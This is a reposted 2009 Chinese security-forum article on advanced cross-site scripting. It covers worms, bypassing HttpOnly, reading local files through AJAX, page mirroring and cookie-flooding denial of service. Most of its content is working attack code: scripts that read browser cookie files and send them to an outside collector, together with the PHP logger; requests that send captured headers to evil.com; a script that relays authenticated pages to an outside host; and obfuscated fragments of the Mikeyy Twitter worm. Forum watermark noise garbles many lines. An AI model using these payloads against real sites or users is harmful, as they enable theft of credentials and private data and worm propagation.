XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
" ^& ~4 r2 ], H3 z# ~本帖最后由 racle 于 2009-5-30 09:19 编辑 8 M% _. z' V0 T
1 r5 K8 ]/ e" C, C. Z& fXSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
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http://bbs.tian6.com/thread-12711-1-1.html$ M% O$ @4 x/ m ]
转帖请保留版权7 b- f$ F4 X9 B" |# J6 g
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1 y8 n* m: i/ k- \/ l3 T4 ?9 `-------------------------------------------前言---------------------------------------------------------
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本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
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如果你还未具备基础XSS知识,以下几个文章建议拜读:0 u! c5 G0 k, E- h- _! U/ E
http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/ JavaScript中文简介. j. ~' h; m, _1 B F0 c! }
http://www.google.com/search?q=XSS+%D3%EF%BE%E4 XSS语句大全
) b l, \$ x& dhttp://www.google.com/search?q=XSS+%C8%C6%B9%FD XSS语句绕过
5 y" T- c) s3 x3 lhttp://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt FLASH CSRF
$ i( R( l8 y4 [& X( j6 j+ Shttp://bbs.tian6.com/thread-12239-1-1.html 突破XSS字符数量限制执行任意JS代码. f/ a' m# S; ^" M/ a. G0 Z
http://bbs.tian6.com/thread-12241-1-1.html 利用窗口引用漏洞和XSS漏洞实现浏览器劫持
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3 D/ e% ]* ~$ L. o如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
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希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.& j) r; y( Q) N/ h* j
' A' e5 z6 ]) K& Q$ O, S) p如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS 6次XSS蠕虫版本变化,
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K+ z5 H0 ^$ H" {8 m& iBaidu xss蠕虫 感染了8700多个blog.媒体影响力,关注度巨大5 v6 h; j& J( S7 A0 X4 i U9 V* j$ f
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QQ ZONE,校内网XSS 感染过万QQ ZONE.* Z. u+ u6 t% o2 ]& E% T4 r
1 y( T$ d" N8 G4 dOWASP MYSPACE XSS蠕虫 20小时内传染一百万用户,最后导致MySpace瘫痪) K; N) P" m6 @- B# `2 y, O( V# v
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2 Y* x0 ^ [8 H3 `复制代码------------------------------------------介绍-------------------------------------------------------------
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7 [2 N/ C. L9 X7 k) S2 N4 h1 u什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
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( i& n0 [* }% o2 w* Y跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
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如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
p% Z7 f- j$ l( w+ ^7 L' y6 m复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.- [0 J+ h0 y+ U1 P2 e
我们在这里重点探讨以下几个问题:2 T# K6 F$ E: ^3 D! X8 O0 m
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1 通过XSS,我们能实现什么?
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2 如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?% U! n) c4 O, f
* z0 _8 ^: a Y- _) `8 l, `3 XSS的高级利用和高级综合型XSS蠕虫的可行性?
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4 XSS漏洞在输出和输入两个方面怎么才能避免.& \+ _% A% E' `6 h) Z5 v
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% j- S" Q5 @4 t) o0 X1 t: d& n/ Y------------------------------------------研究正题----------------------------------------------------------
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2 K0 o0 f+ p. U9 {通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.& ?% G7 v! s$ U/ S0 U4 W0 r
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫) ~$ X/ S( Z: m
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.2 t/ J3 E0 h( V0 \2 ?
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
$ @2 x' E0 L- d2 C/ d( t2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.& @5 K7 o( z1 c; R
3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
& v' ^( c, k# X U f( Y- I5 k4:Http-only可以采用作为COOKIES保护方式之一.
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(I) AJAX在不同的浏览器下的本地文件操作权限 读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)) T1 L1 d2 o2 h9 {
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我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息: 1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的,看来MS对IE这类安全风险比较重视。(这有一些问题,随后修正!)
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- `/ ]0 i9 j& O3 Y 2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
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3: opera9.64及以下版本允许通过指定url为file://协议进行访问;如果文件在当前目录下,则不需要指定file://协议;如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
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4: 基于webkit内核:google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
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function $(x){return document.getElementById(x)}6 S6 C* R: I2 r- i
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$ J' ?" c; b4 r1 f1 g) Q6 f9 W a function ajax_obj(){ x! r6 @: i9 R5 L1 |, D$ v
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if(window.XMLHttpRequest) {
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request = new XMLHttpRequest();
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} else if(window.ActiveXObject) {% d2 R6 V# i7 x
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',( e3 Q4 b5 }' p! c5 J) k }$ ~
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1 W7 [" r2 k! F; a0 C( h 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
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for(var i=0; i<versions.length; i++) {; I& z6 B8 @6 N
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return request;
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function _7or3(_m,action,argv){
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if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");/ h' ]% S7 \0 Y, X6 C+ ?7 {% W
0 [! l$ s, @& A4 _ _x.send(argv);6 H/ G, x1 W. t
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return _x.responseText;. p1 c: E. L8 W) N7 Q6 S
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var txt=_7or3("GET","file://localhost/C:/11.txt",null);
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2 B- M) d3 `4 O: L/ H </script>
; @4 u6 x i W7 b: q L复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件. <script>
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/ }$ x: V2 K3 O0 V/ V: d6 A function $(x){return document.getElementById(x)}8 X9 u/ J7 ^, E3 G: N# P4 F2 G: o
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function ajax_obj(){
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var request = false;, R+ I" Q+ @. t l T
. x& \( h5 {, u2 w( L2 Y( y if(window.XMLHttpRequest) {
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request = new XMLHttpRequest();9 W- }. N( z$ w* G: M" {
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' `$ W1 W0 m- t0 ^, w4 W var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',) Q/ @* B' B4 K9 E
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'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];' e; ]) l& w% G3 z/ Q
) ? V0 r* d$ A for(var i=0; i<versions.length; i++) {
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9 h& ]8 y- j0 o; e8 ] request = new ActiveXObject(versions);1 }+ j% `. E0 ]8 L- S5 P/ d
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} catch(e) {}
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- c, [7 Y7 m# c* i return request;( F! B: I9 W! R- f4 \6 \" E& V2 z
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}
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var _x = ajax_obj();
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_x.open(_m,action,false);
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if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");4 v/ o5 x7 y3 W7 q) j U9 b1 [
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_x.send(argv);; G- e1 ]# ^' J( H* y% o3 K
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return _x.responseText;
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var txt=_7or3("GET","1/11.txt",null);
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alert(txt);
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</script>
4 x' r( T$ c* r/ B" b0 `7 _% `复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”6 a1 R1 \0 [- q* m& d9 x1 B
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/ u- ~" l$ V, d5 w# GChrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
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/* % f( E9 U" }7 l* Y$ g+ c- o
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Chrome 1.0.154.53 use ajax read local txt file and upload exp / C P4 [: I/ `# s+ |" M# |3 F
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author voidloafer@gmail.com 2009-4-22 + t# k( e/ X/ _& B7 k
& C; G: {/ O- u2 d+ a http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save. 1 G3 t$ l0 }! T$ u9 r
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0 a. H& X) r1 Kheader("Content-Disposition: attachment;filename=kxlzx.htm"); + [( T% f7 z ~
* _! r: S% r- M& t& b F' Wheader("Content-type: application/kxlzx"); ! T: @, P! O% D- ?& H6 S: z
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/*
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2 M" r# ]4 I p, p set header, so just download html file,and open it at local.
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?>
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<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method=" OST"> 2 I7 l/ m* y( |# v, f$ F) H
& h/ v- Z q" T" f4 n0 T; s <input id="input" name="cookie" value="" type="hidden">
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9 Q- M" Q$ M- g4 c+ M7 d9 P</form>
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<script>
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function doMyAjax(user)
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var time = Math.random();
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+ S( U$ f* F2 z3 L G/* 6 G# l/ f; s* D0 k8 P% K
) _' T" r2 l9 M, f" Y" wthe cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default
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and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History
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and so on... % z8 @* c9 |9 ^* q `
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$ t; B a' l. Pvar strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time; 7 T4 C* S4 X4 T* T" K5 @
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startRequest(strPer);
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} 2 d& [, m8 S9 c, q5 |" S' B; `& V
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7 G9 Y9 a5 B1 F& a" u5 D1 Y# _
- u$ X3 d' g" |) Zfunction Enshellcode(txt) 5 B7 l8 k8 L W4 a) b
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{ : B, {& _) L' X
9 a; @; X3 e! S x: Y3 K0 Zvar url=new String(txt);
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9 O3 c! \8 o. s, n1 U: G5 u# `var i=0,l=0,k=0,curl=""; " o* z$ e0 V: H9 X- }' m: T' r) Y
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l= url.length; & t$ d* }- j$ D+ N6 g5 ^# t
$ X0 C7 }! [0 S' _0 k9 Ofor(;i<l;i++){ 9 U9 u& t6 D, R3 i
7 d! j4 N% I0 B$ E- e* N$ uk=url.charCodeAt(i); ( g. l/ Z/ x3 P$ ^
+ m8 Q: x2 n& M( [) u* Wif(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}
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" T7 i3 c2 o9 s5 J* tif (l%2){curl+="00";}else{curl+="0000";}
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- ]. {; O8 V5 tcurl=curl.replace(/(..)(..)/g,"%u$2$1");
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return curl; x9 x. X4 B/ l/ b; u; F0 G1 X
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+ O. [( K5 Z. h v
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% \9 S# X( i4 U! Q9 C0 b9 `! `" B( @5 R- J$ e4 W
var xmlHttp; * ~! ?! M1 b& O- ^
n4 z" t( D& S5 n: `/ G: qfunction createXMLHttp(){
6 w) K; U9 C: e K5 i* R/ r* z
2 v; ^; h4 i3 X if(window.XMLHttpRequest){
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xmlHttp = new XMLHttpRequest(); " j0 I$ k+ w' u9 v% ~( y5 G
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} ( w" G; u, r/ T3 U V& d0 P
$ r3 u5 _0 a; x. v else if(window.ActiveXObject){
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; i7 b* Q* F2 D% k& F+ MxmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); ! o7 x- G5 Z5 {: [7 q- X+ v! i
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} ( e7 T8 L+ L* H- s. h& y0 v3 `+ P* ^
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4 `4 S/ C/ W( |
) b( `' }) |! B2 v5 C6 v! F% m' N. R# T
function startRequest(doUrl){
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createXMLHttp();
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xmlHttp.onreadystatechange = handleStateChange;
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p4 ]5 E- H% F6 c xmlHttp.open("GET", doUrl, true);
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}% |9 z' g- i. l xmlHttp.send(null);
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) [( h( F. j' q9 I# Z( A* S3 L. Y, w$ l
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+ e4 n" Q# G9 H# K% [: r! i# ^1 K- M
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' P4 y8 M3 m# B- Ufunction handleStateChange(){
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if (xmlHttp.readyState == 4 ){
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var strResponse = "";
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- z o: C/ B. P d( m setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000); ' w5 Y7 G6 I+ f; v# Y. b% ^
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$ M e$ |4 D- t; J } h/ F/ c# A4 [9 k3 N5 @. G, c( R
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# t+ j5 g4 |; h2 H( Pfunction framekxlzxPost(text) . M# L0 S; A0 M3 X! r# t
# ^/ x+ f5 B: w j{ , z% O* v9 F0 t* G6 j( H: E! `' ] {
5 `8 j' H9 r0 _ document.getElementById("input").value = Enshellcode(text);
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document.getElementById("form").submit(); ' }, U. b0 z( I- h6 u9 v# J
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}
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doMyAjax("administrator"); ; z6 E6 O5 c- ?/ ^8 a' s: H& }
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</script># Q! f A1 _) S/ Y
复制代码opera 9.52使用ajax读取本地COOKIES文件<script> * c5 u: k8 D& n" f
/ t$ S* m4 x+ M9 ]" xvar xmlHttp; B5 j0 U, D4 Y; s
( i3 ], n2 i: M; a8 ?" ?# Nfunction createXMLHttp(){ 0 r' P; T' I0 z
8 `1 x* ]# }+ |0 |4 m7 b2 Z/ c, j
if(window.XMLHttpRequest){
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xmlHttp = new XMLHttpRequest();
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}
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else if(window.ActiveXObject){
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3 }3 X, R* ]6 r1 `# q/ e! v( J xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); 2 Q0 [: p$ R. ?& W9 u
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}
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# r/ G& I2 V9 k$ r) d+ I/ K8 o3 F$ S+ |
function startRequest(doUrl){ . `' y& U! {" v) s" f
J! ^. @1 n3 l% d4 C/ D9 Y 4 o* K, l$ h9 B4 }1 P
) z" k3 E: j& k! P) w createXMLHttp();
% b! \3 ^! h) r/ p2 y
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xmlHttp.onreadystatechange = handleStateChange; ; }6 q3 m( {- G) }9 u3 r
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xmlHttp.open("GET", doUrl, true);
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" L, t; G( P( ^& x" ?9 Q- C xmlHttp.send(null);
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} 6 G; e' W6 G& l/ ]2 K4 j
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" m( Q& S5 Y# H P
function handleStateChange(){ A: O( F a- c3 v4 y1 Z
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if (xmlHttp.readyState == 4 ){ 5 F; M# w; }, Z0 M4 P
" R& ~8 C) ^7 e$ m: X" r7 [8 [ var strResponse = "";
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3 m+ K; |6 `( a8 x _ setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);
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}
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}
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, A" u; N i! j
function doMyAjax(user,file)
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$ d0 R3 y O$ H8 ?$ j& a) w{ ( ~. ~: v2 ~( R5 ?
" n. }- [% ~3 N var time = Math.random(); $ A" @( { r, A) _7 Z t
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; z( e) [, _+ u3 J3 ? var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;
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startRequest(strPer);
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}
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+ h2 A) {, l+ A
o' h* p6 C9 c7 I2 R& Sfunction framekxlzxPost(text) 4 k# `# e( E# b4 s
; B U, q# ~9 y4 v{
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|# g7 E- s: K' } document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);
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alert(/ok/);
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- ?2 r$ H, \! ~1 y7 G; D}
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doMyAjax('administrator','administrator@alibaba[1].txt'); 8 C4 s5 O# q( }
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</script>. h1 C. G% {$ j8 [6 R& r
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( T2 z: S4 N1 `9 S) ^a.php
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& a5 C! J3 q- J' M) |7 Q
" h2 Q) L" k; f<?php
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( \' U4 ?7 \* | m% h2 Z( K) S( M' M# E/ S1 z6 e' s* U$ Q/ Y! g4 A7 g+ @4 c
$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];
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$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"]; 1 S* U, ?. f8 v# z; N
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/ L; F7 |/ n9 k8 b5 D$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb"); / O, l7 ~- y! |) a4 x
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fwrite($fp,$_GET["cookie"]); % ~7 M; R, F4 Y! O m
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fclose($fp);
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复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
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或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
0 V2 o1 o" F4 h6 K9 @利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.
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代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
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1 d* D: X1 h+ }& X- k% O//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
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/ `+ D. e5 e9 s//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);
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# k7 I: J$ o# m' l) Ofunction getURL(s) {+ I1 ]- T& p8 E. E8 Z8 E
0 }$ C z( g* y8 h/ m8 |var image = new Image();
. N4 d* A. \; i# f, j2 E, E% ?6 ?7 W# |
image.style.width = 0;! y- _. j+ M( {5 w
9 J, ^- q3 S4 n* U3 S B& U2 ~' Aimage.style.height = 0;5 ]' d5 V) A( i9 ~ A1 f) u
# I; R" l9 E6 `$ p/ N( {1 zimage.src = s;# n+ v' [7 ^6 R) G- S' t
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}
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getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
- N: [. \1 G( _8 E# E) J) e复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
r) P. a; _3 o7 T( \( b9 n: h7 i这里引用大风的一段简单代码:<script language="javascript">$ `/ r# w6 W' M& w3 ^
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var metastr = "AAAAAAAAAA"; // 10 A) P! j7 _* v6 ^% G
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var str = "";
# Y( \- w. v% H( B. Q# \5 u K* d! l3 j2 I" u" {
while (str.length < 4000){
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str += metastr;
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}
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8 X9 D- V+ v# r6 K- V; _document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;"; // 一些老版本的webserver可能在这里还会存在XSS3 w2 L1 p2 j* T* I2 J `
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</script>
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6 l* e" F# [5 H( {5 @( F' _详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html8 x1 s8 c5 H7 @, O7 j
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
" \0 y8 N* D- R0 `' y0 y: Fserver limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150
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假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
. t4 ]) O r, m" E; J, t1 i1 ]攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.5 f1 j3 {$ \5 }% J; j
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& h6 a6 W3 I, A(III) Http only bypass 与 补救对策:
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- n: L s% U. n6 W; x2 G; L什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性,用以阻止客户端脚本访问Cookie. a: I3 I" g. W5 n! w3 F
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">! O6 l! ]; J$ T0 \& b/ ?2 L
( X) ]: n- X+ o# ^
<!--
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( d5 O, {+ B M8 lfunction normalCookie() { * C1 k5 i# I/ _4 v2 f) B6 a
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document.cookie = "TheCookieName=CookieValue_httpOnly";
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alert(document.cookie);
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}. F3 K# F$ T: i
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- t2 X% m; F8 {1 j/ U6 B1 Ofunction httpOnlyCookie() { $ R, J @" @( r& D* ^+ M
4 x+ l1 y. o& U' }- `$ Udocument.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly"; ; s8 W ?: C+ r( c6 f* n
) S# l: N* s3 |6 _. z4 }
alert(document.cookie);}
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; U+ q% ]1 @) T" q3 M% r* b/ a//-->9 w {3 s( G/ v! q* R% m- u- M
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</script>5 n! V, L3 C4 q' q( c0 J
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<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>
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9 u. P* u D6 z& I<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>0 l2 A$ W$ n/ t8 z' Q
复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>
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var request = false;8 V" {# q: k( x2 N/ i
6 N, f r. p, w: z. \; a3 w8 y
if(window.XMLHttpRequest) {. q3 G; e8 U3 I
( j. g( ]5 K2 A o request = new XMLHttpRequest();* K/ S# j0 N7 X/ A6 M7 S; M7 r
5 e1 i( L, O6 f$ f9 B) c ~ if(request.overrideMimeType) {0 W, f4 W5 O, O4 \$ I/ L! g
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request.overrideMimeType('text/xml');
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% U7 w7 x. [* b7 v) m4 M1 Y$ Q }
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! ]' ~" A' V9 P# j, l* T } else if(window.ActiveXObject) {
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$ @; A5 G: J6 o9 B/ o# ? `3 u var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];# g8 T5 V7 L) y3 i$ l
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for(var i=0; i<versions.length; i++) {: }) U7 `1 S+ v! n
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try {" `% g8 G2 a' N2 R& \* I2 N0 l
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request = new ActiveXObject(versions);
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! ^' Z4 Z9 c% a0 v, y9 I- zxmlHttp=request;* \; L$ U3 d. m
) P2 ~/ {* L9 a& f& C7 V2 P A$ MxmlHttp.open("TRACE","http://www.vul.com",false);, U4 n; c1 K& u
6 t3 ? n7 C4 K% X, p* k3 ?, L& FxmlHttp.send(null);
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) |3 }! ?- i7 G4 LxmlDoc=xmlHttp.responseText;
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, H- z# U7 d2 _alert(xmlDoc);' G7 n& V1 D! _/ e4 c
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</script>
+ L: b; G: i8 s: {9 Z# c复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
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var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");% U- B3 s4 t% m. c! b1 l1 h
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XmlHttp.open("GET","http://www.google.com",false);
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XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
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# Y2 ^' h2 H3 v! j' |XmlHttp.send(null);: {, L) }+ ^' r! L+ I2 {
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var resource=xmlHttp.responseText1 s. y- a2 v Q, \' b3 J' D9 b) _: ?
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resource.search(/cookies/);; v- C2 \1 j& f" E, D5 r+ F- o
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....................... e7 c6 o+ } i/ w0 n
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</script>
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0 ]: }- J! X. h9 M2 b# f: V3 o% r如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求0 f, \! m4 l4 d& d
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[code]& e# Y" B, R" o) d* _
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RewriteEngine On/ [ N1 i6 @7 [
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RewriteCond %{REQUEST_METHOD} ^TRACE
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; t; |2 F0 b2 x: Z/ W- `RewriteRule .* - [F]- |' Y0 q& L9 m. Y7 }( U8 B
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Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
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$ D+ e( A B3 Xacl TRACE method TRACE
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# ], e) [% R$ A8 k5 X1 e) q# |" T( |...4 ~; R0 Z% d+ L2 p
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http_access deny TRACE+ Y4 z% e A$ t, N- b9 c+ Y
复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>& Q+ Z& x& {0 ~5 y
9 E6 e# R# d1 F" T- avar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");) b- j& [1 |. R' n1 S6 M9 G I
$ |/ Y- |$ B! \# [( cXmlHttp.open("GET","http://www.google.com",false);
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8 a' [+ M% Q; |8 X6 B; ]- zXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
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XmlHttp.send(null);
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0 x4 W) e4 ?1 m& H f+ P" F</script>
' ^" j; i* q6 A5 f! g: W1 y4 c复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
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/ D# K6 N' N/ r7 avar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);
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XmlHttp.send(null);
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<script>( u& Z1 G5 r. h4 B4 z
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.8 U5 z. A- W5 e# ~, S% ]3 R
复制代码案例:Twitter 蠕蟲五度發威
" d# ]: L# L5 v% ]第一版:0 K4 D+ f- M6 a" m
下载 (5.1 KB): m0 r0 J& N) D4 V# x! M
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6 天前 08:27
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2 t* a8 S1 f/ R$ a, p; f5 v第二版: 1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", " OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", " OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];
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2.
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3. function XHConn(){
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1 Y& ^6 x9 v) U$ P# @" M( V# o 4. var _0x6687x2,_0x6687x3=false; ' }) ^1 ~: L2 G4 M# H1 K
0 V. B- q; Z$ A6 f( s! @9 m 5. try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); } 7 l5 {6 E" |# j/ j, s0 c( N
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6. catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); } 0 x4 K3 B- M, l' ~. l, {7 S( a
* W& ~2 s4 s0 Z+ N& z' |9 E 7. catch(e) { try { _0x6687x2= new XMLHttpRequest(); } ' L* s; n8 H+ V, F8 g! `
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8. catch(e) { _0x6687x2=false; }; }; }; ) }9 X- u2 l T# h, k1 b
复制代码第六版: 1. function wait() {
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5 g: p# G* t; e j 2. var content = document.documentElement.innerHTML; ( F3 D6 a" D5 h3 S* v: z6 g0 v$ X5 _) \
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3. var tmp_cookie=document.cookie; : d( z f+ t' F: z' q# ?5 T9 E
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4. var tmp_posted=tmp_cookie.match(/posted/);
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5. authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
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' U$ N- y0 ?; \8 e: t5 J! x; @ 6. var authtoken=authreg.exec(content); # b% O& h$ m( d" M6 e ~1 l
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7. var authtoken=authtoken[1]; : l5 Y; c Z7 d4 U' d8 X" B4 N
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8. var randomUpdate= new Array();
